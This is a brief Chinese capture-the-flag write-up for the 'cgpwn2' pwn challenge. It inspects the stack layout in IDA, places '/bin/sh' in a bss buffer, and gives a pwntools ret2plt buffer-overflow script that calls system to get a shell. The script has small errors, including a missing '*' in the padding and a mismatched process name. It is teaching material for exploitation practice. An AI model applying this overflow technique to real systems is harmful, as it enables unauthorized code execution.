先运行一下
老规矩,checksec 和file
pie和canary关了
ida 查看一下
hello函数
name在bss段
有没有发现bin/sh
所以我们可以自己写一个shellcode
name_bin_sh = 0804A080
看一下s的栈空间
00000027 db ? ; undefined
-00000026 s dw ?
-00000024 db ? ; undefined
-00000023 db ? ; undefined
-00000022 db ? ; undefined
-00000021 db ? ; undefined
-00000020 db ? ; undefined
-0000001F db ? ; undefined
-0000001E db ? ; undefined
-0000001D db ? ; undefined
-0000001C db ? ; undefined
-0000001B db ? ; undefined
-0000001A db ? ; undefined
-00000019 db ? ; undefined
-00000018 db ? ; undefined
-00000017 db ? ; undefined
-00000016 db ? ; undefined
-00000015 db ? ; undefined
-00000014 db ? ; undefined
-00000013 db ? ; undefined
-00000012 db ? ; undefined
-00000011 db ? ; undefined
-00000010 db ? ; undefined
-0000000F db ? ; undefined
-0000000E db ? ; undefined
-0000000D db ? ; undefined
-0000000C db ? ; undefined
-0000000B db ? ; undefined
-0000000A db ? ; undefined
-00000009 db ? ; undefined
-00000008 db ? ; undefined
-00000007 db ? ; undefined
-00000006 db ? ; undefined
-00000005 db ? ; undefined
-00000004 db ? ; undefined
-00000003 db ? ; undefined
-00000002 db ? ; undefined
-00000001 db ? ; undefined
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
覆盖掉就完了
payload = b’A’(0x26+4)
这里我们需要去它的got表里面找system函数
got表和plt表都是用来存储函数调用是的一些特殊地址,这个大家可以自行百度
可以用这两句代码去调用plt表
elf = ELF("cgpwn2")
system = elf.plt["system"]
from pwn import *
context(os="linux", arch="x86", log_level="debug")
elf = ELF("cgpwn2")
system_addr = elf.plt["system"]
p = process('./cpwn2')
name_bin_sh = 0x0804A080
payload = b'A'(0x26+4) + p32(system_addr) + b'a'*4 + p32(name_bin_sh)
p.recvuntil("please tell me your name")
p.sendline('/bin/sh')
p.recvuntil("hello,you can leave some message here:\n")
p.sendline(payload)
p.interactive()